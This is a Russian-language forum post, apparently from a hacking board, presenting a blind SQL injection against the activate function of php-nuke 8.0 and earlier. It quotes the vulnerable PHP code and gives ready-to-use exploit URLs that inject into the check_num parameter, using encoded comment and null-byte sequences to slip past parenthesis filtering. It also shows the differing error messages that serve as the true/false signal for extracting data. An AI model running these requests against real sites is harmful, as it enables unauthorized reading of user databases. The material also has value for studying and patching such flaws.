Prev Предыдущее сообщение   Следующее сообщение Next
Старый 05.07.2010, 00:48   #11
Grey
 
Аватар для Grey
 
Регистрация: 30.06.2010
Сообщений: 38
По умолчанию

php-nuke <= 8.0 (Слепая SQL инъекция: Получение данных из БД)

Требуется: мейждик квотс = офф

И опять тот же файл (/modules/Your_Account/index.php), функция ...activate...

PHP код:
function activate($username$check_num) {
global 
$db$user_prefix$module_name$language$prefix;
$username filter($username"nohtml"1);
$past time()-86400;
$db->sql_query("DELETE FROM ".$user_prefix."_users_temp WHERE time < $past");
$sql "SELECT * FROM ".$user_prefix."_users_temp WHERE username='$username' AND check_num='$check_num'";
$result $db->sql_query($sql);
if (
$db->sql_numrows($result) == 1) {
$row $db->sql_fetchrow($result);
$user_password htmlspecialchars(stripslashes($row['user_password']));
if (
$check_num == $row['check_num']) {
$db->sql_query("INSERT INTO ".$user_prefix."_users (user_id, username, user_email, user_password, user_avatar, user_avatar_type, user_regdate, user_lang) VALUES (NULL, '".$row['username']."', '".$row['user_email']."', '$user_password', 'gallery/blank.gif', '3', '".$row['user_regdate']."', '$language')"); 
Судь кода - перетащить пользователя из таблицы с временными пользователями в нормальную таблицу пользователей.

Вообщем если не считать общей фильтрации переменных, то $check_num никак не фильтруется. Но из-за строки:

PHP код:
if ($check_num == $row['check_num']) { 
Создать пользователя с левыми данными не удасться. Но можно раскрутить как слепую инъекцию.

Юзаем запросы (как в обычной слепой инъекции), но не забываем про то что скобки фильтруются и это нужно обходить:

Код:
http://site/modules.php?name=Your_Account&op=activate&username=grey123&check_num=1'+or+substring(version(%2F%2A%00%2A%2F%29,1,1%2F%2A%00%2A%2F%29=3--+
Код:
Пользователя с такими данными в нашей базе данных не найдено.
Вы можете пройти регистрацию здесь.


Эта ошибка связана с неудачей/ошибкой при/в выполнение запроса в БД.


Код:
http://site/modules.php?name=Your_Account&op=activate&username=grey123&check_num=1'+or+substring(version(%2F%2A%00%2A%2F%29,1,1%2F%2A%00%2A%2F%29=4--+
Код:
Данные для пользователя недействительны.
Пожалуйста, проверьте вводимые данные, или если Вы еще не зарегистрированы, то пройдите регистрацию здесь.


Эта ошибка связана с вот этим куском кода:

PHP код:
if ($check_num == $row['check_num']) { 
Код:
http://site/modules.php?name=Your_Account&op=activate&username=grey123&check_num=1'+or+substring(version(%2F%2A%00%2A%2F%29,1,1%2F%2A%00%2A%2F%29=5--+
Код:
Пользователя с такими данными в нашей базе данных не найдено.
Вы можете пройти регистрацию здесь.

Не сложно догадаться что если выводится сообщение
:


Данные для пользователя недействительны.
Пожалуйста, проверьте вводимые данные, или если Вы еще не зарегистрированны, то пройдите регистрацию здесь.

то запрос выполнен правильно.

!!!В оригинальной версии текст сообщения будет на английском (его не смотрел), это следует учесть!!!

2008 © Grey

Последний раз редактировалось Grey; 05.07.2010 в 01:09..
Grey вне форума   Ответить с цитированием
 

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot